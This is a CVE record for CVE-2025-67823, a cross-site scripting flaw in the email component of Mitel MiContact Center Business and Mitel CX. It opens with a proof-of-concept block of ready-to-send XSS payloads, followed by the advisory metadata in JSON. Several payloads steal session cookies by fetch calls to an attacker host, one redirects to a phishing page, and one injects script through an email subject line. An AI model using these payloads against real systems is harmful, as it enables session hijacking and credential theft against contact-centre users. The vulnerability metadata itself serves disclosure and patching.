CVE-2025-67823

<!-- CVE-2025-67823 XSS PoC - Mitel MiContact Center Business --> <!-- Send malicious email to trigger XSS when viewed --> <!-- Basic XSS Payload --> <script>alert(document.cookie)</script> <!-- Event Handler XSS Payload --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- SVG-based XSS Payload --> <svg/onload=fetch('https://attacker.com/cookie='+btoa(document.cookie))> <!-- Phishing Redirect Payload --> <script>window.location.href='https://attacker.com/phishing?redirect='+window.location.href</script> <!-- Session Hijacking Payload --> <script> var cookies = document.cookie; fetch('https://attacker.com/api/log?data=' + encodeURIComponent(cookies)); </script> <!-- Email Subject Field Injection --> Subject: Important Update <img src=x onerror=alert('XSS')>

{"cve": {"id": "CVE-2025-67823", "sourceIdentifier": "[email protected]", "published": "2026-01-15T22:16:11.117", "lastModified": "2026-01-23T19:38:47.383", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the Multimedia Email component of Mitel MiContact Center Business through 10.2.0.10 and Mitel CX through 1.1.0.1 could allow an unauthenticated attacker to conduct a Cross-Site Scripting (XSS) attack due to insufficient input validation. A successful exploit requires user interaction where the email channel is enabled. This could allow an attacker to execute arbitrary scripts in the victim's browser or desktop client application."}, {"lang": "es", "value": "Una vulnerabilidad en el componente de Correo Electrónico Multimedia de Mitel MiContact Center Business hasta la versión 10.2.0.10 y Mitel CX hasta la versión 1.1.0.1 podría permitir a un atacante no autenticado realizar un ataque de Cross-Site Scripting (XSS) debido a una validación de entrada insuficiente. Un exploit exitoso requiere interacción del usuario donde el canal de correo electrónico está habilitado. Esto podría permitir a un atacante ejecutar scripts arbitrarios en el navegador de la víctima o en la aplicación de cliente de escritorio."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mitel:cx:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0", "matchCriteriaId": "44861513-C99B-4840-86A0-FF1CC107DB32"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mitel:micontact_center_business:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.2.0.11", "matchCriteriaId": "F2ACED18-C47B-4220-A3CD-01454BE1E551"}]}]}], "references": [{"url": "https://www.mitel.com/support/security-advisories", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2025-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}